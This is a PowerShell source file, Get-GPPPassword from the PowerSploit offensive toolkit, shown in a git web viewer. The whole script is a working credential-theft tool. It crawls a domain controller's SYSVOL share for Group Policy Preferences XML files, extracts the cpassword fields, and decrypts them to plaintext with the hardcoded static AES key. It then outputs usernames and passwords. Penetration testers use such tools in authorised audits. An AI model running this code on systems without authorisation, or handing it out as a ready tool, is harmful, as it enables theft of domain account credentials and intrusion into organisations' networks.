aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/Get-GPPPassword.ps1
blob: 6a9c1926d5304273d77f281b2c595db68609eff5 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
function Get-GPPPassword {
<#
.SYNOPSIS

    Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

    PowerSploit Function: Get-GPPPassword
    Author: Chris Campbell (@obscuresec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
 
.DESCRIPTION

    Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.

.EXAMPLE

    Get-GPPPassword

.LINK
    
    http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
    https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
    http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
    http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
    
    [CmdletBinding()]
    Param ()
    
    #define helper function that decodes and decrypts password
    function Get-DecryptedCpassword {
        Param (
            [string] $Cpassword 
        )

        try {
            #Append appropriate padding based on string length  
            $Mod = ($Cpassword.length % 4)
            if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}

            $Base64Decoded = [Convert]::FromBase64String($Cpassword)
            
            #Create a new AES .NET Crypto Object
            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
            
            #Set IV to all nulls to prevent dynamic generation of IV value
            $AesIV = New-Object Byte[]($AesObject.IV.Length) 
            $AesObject.IV = $AesIV
            $AesObject.Key = $AesKey
            $DecryptorObject = $AesObject.CreateDecryptor() 
            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
            
            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
        } 
        
        catch {Write-Error "$Error[0]"}
    }  
    
    #discover potential files containing passwords
    $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
    
    foreach ($File in $XMLFiles) {
        
        try {
            $Filename = $File.Name
            $Filepath = $File.VersionInfo.FileName

            #put filename in $XmlFile
            [xml] $Xml = Get-Content ($File)

            #declare blank variables
            $Cpassword = ''
            $UserName = ''
            $NewName = ''
            $Changed = ''
    
            switch ($Filename) {

                'Groups.xml' {
                    $Cpassword = $Xml.Groups.User.Properties.cpassword
                    $UserName = $Xml.Groups.User.Properties.userName
                    $NewName = $Xml.Groups.User.Properties.newName
                    $Changed = $Xml.Groups.User.changed
                }
        
                'Services.xml' {
                    $Cpassword = $Xml.NTServices.NTService.Properties.cpassword
                    $UserName = $Xml.NTServices.NTService.Properties.accountName
                    $Changed = $Xml.NTServices.NTService.changed
                }
        
                'Scheduledtasks.xml' {
                    $Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
                    $UserName = $Xml.ScheduledTasks.Task.Properties.runAs
                    $Changed = $Xml.ScheduledTasks.Task.changed
                }
        
                'DataSources.xml' {
                    $Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
                    $UserName = $Xml.DataSources.DataSource.Properties.username
                    $Changed = $Xml.DataSources.DataSource.changed
                }
            }

            if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}

            else {Write-Verbose "No encrypted passwords found in $Filepath"}
        
            #Create custom object to output results
            $ObjectProperties = @{'Password' = $Password;
                                  'UserName' = $UserName;
                                  'Changed' = $Changed;
                                  'NewName' = $NewName
                                  'File' = $Filepath}
                
            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
            Write-Output $ResultsObject
        }
        
        catch {Write-Error $Error[0]}  
    }
}